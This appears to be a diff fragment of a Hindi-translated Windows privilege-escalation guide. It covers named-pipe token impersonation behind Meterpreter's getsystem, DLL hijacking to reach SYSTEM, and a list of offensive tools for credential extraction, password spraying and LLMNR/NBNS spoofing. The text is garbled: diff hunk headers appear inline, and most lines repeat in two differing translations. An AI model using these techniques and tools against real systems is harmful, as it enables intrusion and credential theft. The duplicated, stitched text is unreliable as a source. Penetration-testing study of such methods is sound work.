यह तकनीक मीटरप्रेटर द्वारा `getsystem` में वृद्धि के लिए उपयोग की जाती है। यह तकनीक **एक पाइप बनाने और फिर उस पाइप पर लिखने के लिए एक सेवा बनाने/दुरुपयोग करने** पर आधारित है। फिर, **सर्वर** जिसने **`SeImpersonate`** विशेषाधिकार का उपयोग करके पाइप बनाया, वह पाइप क्लाइंट (सेवा) के टोकन को **प्रतिनिधित्व** करने में सक्षम होगा, जिससे SYSTEM विशेषाधिकार प्राप्त होंगे।\
यदि आप [**नाम पाइप के बारे में अधिक जानना चाहते हैं तो आपको यह पढ़ना चाहिए**](#named-pipe-client-impersonation)।\
यदि आप [**उदाहरण पढ़ना चाहते हैं कि कैसे उच्च इंटीग्रिटी से SYSTEM में जाना है नाम पाइप का उपयोग करते हुए तो आपको यह पढ़ना चाहिए**](from-high-integrity-to-system-with-name-pipes.md)।
यदि आप [**उच्च इंटीग्रिटी से SYSTEM में जाने के लिए नाम पाइप का उपयोग करने का एक उदाहरण पढ़ना चाहते हैं तो आपको यह पढ़ना चाहिए**](from-high-integrity-to-system-with-name-pipes.md)।
### Dll Hijacking
यदि आप **एक dll को हाईजैक करने में सफल होते हैं** जो **SYSTEM** के रूप में चल रही **प्रक्रिया** द्वारा **लोड** की जा रही है, तो आप उन अनुमतियों के साथ मनमाना कोड निष्पादित करने में सक्षम होंगे। इसलिए Dll Hijacking इस प्रकार के विशेषाधिकार वृद्धि के लिए भी उपयोगी है, और, इसके अलावा, यह **उच्च इंटीग्रिटी प्रक्रिया से प्राप्त करना अधिक आसान है** क्योंकि इसके पास **dlls को लोड करने के लिए उपयोग की जाने वाली फ़ोल्डरों पर लिखने की अनुमति होगी**।\
**आप** [**Dll hijacking के बारे में अधिक जान सकते हैं यहा**](dll-hijacking/index.html)**।**
**आप** [**Dll hijacking के बारे में अधिक जान सकते हैं यहा**](dll-hijacking/index.html)**।**
### **From Administrator or Network Service to System**
@ -1371,12 +1384,12 @@ https://github.com/sailay1996/RpcSsImpersonator
**PS**
[**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\
[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- गलत कॉन्फ़िगरेशन और संवेदनशील फ़ाइलों की जांच करें (**[**यहा जांचें**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)। पता चला।**\
[**JAWS**](https://github.com/411Hall/JAWS) **-- कुछ संभावित गलत कॉन्फ़िगरेशन की जांच करें और जानकारी एकत्र करें (**[**यहा जांचें**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)।**\
[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- गलत कॉन्फ़िगरेशन और संवेदनशील फ़ाइलों की जांच करें (**[**यहा जांचें**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)। पता चला।**\
[**JAWS**](https://github.com/411Hall/JAWS) **-- कुछ संभावित गलत कॉन्फ़िगरेशन की जांच करें और जानकारी एकत्र करें (**[**यहा जांचें**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)।**\
[**privesc** ](https://github.com/enjoiz/Privesc)**-- गलत कॉन्फ़िगरेशन की जांच करें**\
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- यह PuTTY, WinSCP, SuperPuTTY, FileZilla, और RDP सहेजे गए सत्र की जानकारी निकालता है। स्थानीय में -Thorough का उपयोग करें।**\
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- क्रेडेंशियल मैनेजर से क्रेडेंशियल निकालता है। पता चला।**\
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- डोमेन के चारों ओर एकत्रित पासवर्ड का छिड़काव करें**\
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- डोमेन के चारों ओर एकत्रित पासवर्ड को स्प्रे करें**\
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh एक PowerShell ADIDNS/LLMNR/mDNS/NBNS स्पूफर और मैन-इन-द-मिडल उपकरण है।**\
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- बुनियादी privesc Windows एन्यूमरेशन**\
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- ज्ञात privesc कमजोरियों की खोज करें (DEPRECATED for Watson)\
@ -1385,7 +1398,7 @@ https://github.com/sailay1996/RpcSsImpersonator
**Exe**
[**Watson**](https://github.com/rasta-mouse/Watson) -- ज्ञात privesc कमजोरियों की खोज करें (इसे VisualStudio का उपयोग करके संकलित करने की आवश्यकता है) ([**पूर्व-संकलित**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- गलत कॉन्फ़िगरेशन की खोज के लिए होस्ट का एन्यूमरेशन करता है (यह privesc से अधिक जानकारी एकत्र करने का उपकरण है) (इसे संकलित करने की आवश्यकता है) **(**[**पूर्व-संकलित**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- गलत कॉन्फ़िगरेशन की खोज के लिए होस्ट का एन्यूमरे करता है (यह privesc से अधिक जानकारी एकत्र करने का उपकरण है) (इसे संकलित करने की आवश्यकता है) **(**[**पूर्व-संकलित**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- कई सॉफ़्टवेयर से क्रेडेंशियल निकालता है (गिटहब में पूर्व-संकलित exe)**\
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- C# में PowerUp का पोर्ट**\
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- गलत कॉन्फ़िगरेशन की जांच करें (गिटहब में पूर्व-संकलित निष्पादन योग्य)। अनुशंसित नहीं। यह Win10 में ठीक से काम नहीं करता।\
@ -1404,7 +1417,7 @@ https://github.com/sailay1996/RpcSsImpersonator
_multi/recon/local_exploit_suggestor_
आपको सही .NET संस्करण का उपयोग करके प्रोजेक्ट को संकलित करना होगा ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). पीड़ित होस्ट पर स्थापित .NET संस्करण देखने के लिए आप कर सकते हैं:
आपको प्रोजेक्ट को .NET के सही संस्करण का उपयोग करके संकलित करना होगा ([यहां देखें](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). पीड़ित होस्ट पर स्थापित .NET के संस्करण को देखने के लिए आप कर सकते हैं:
```
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
```